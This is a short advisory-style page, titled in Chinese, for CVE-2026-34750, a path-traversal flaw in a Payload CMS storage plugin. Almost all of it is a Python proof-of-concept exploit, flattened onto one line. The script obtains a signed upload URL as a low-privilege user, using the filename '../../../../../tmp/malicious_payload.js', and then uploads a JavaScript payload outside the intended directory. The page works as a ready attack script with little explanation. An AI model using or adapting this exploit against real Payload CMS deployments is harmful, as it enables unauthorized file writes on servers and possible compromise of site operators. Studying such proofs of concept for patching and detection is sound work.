CVE-2026-34750 Payload CMS存储插件路径遍历漏洞

import requests # This POC demonstrates the concept of the vulnerability. # It attempts to upload a file with a path traversal payload. # Target Payload CMS instance with vulnerable storage plugin. target_url = "https://example.com/api/upload/generate-upload-url" # Attacker controlled filename with path traversal malicious_filename = "../../../../../tmp/malicious_payload.js" payload_content = "console.log('Vulnerable to CVE-2026-34750');" # Headers simulating a low-privilege authenticated user headers = { "Authorization": "Bearer <LOW_PRIV_TOKEN>", "Content-Type": "application/json" } # Step 1: Request the signed URL (hypothetical endpoint) data = { "filename": malicious_filename, "mimeType": "application/javascript" } try: # Response usually contains a 'url' and 'fields' for S3 or similar response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200: upload_data = response.json() print("[+] Signed URL obtained successfully.") # Step 2: Upload the file using the signed URL # Note: The actual upload mechanism depends on the cloud provider (S3 form POST, PUT, etc.) # Here we simulate a PUT request common in S3 uploads upload_url = upload_data.get('url') upload_response = requests.put(upload_url, data=payload_content) if upload_response.status_code == 200: print(f"[+] Exploit successful! File '{malicious_filename}' uploaded outside intended directory.") else: print(f"[-] Upload failed. Status: {upload_response.status_code}") else: print(f"[-] Failed to get signed URL. Status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")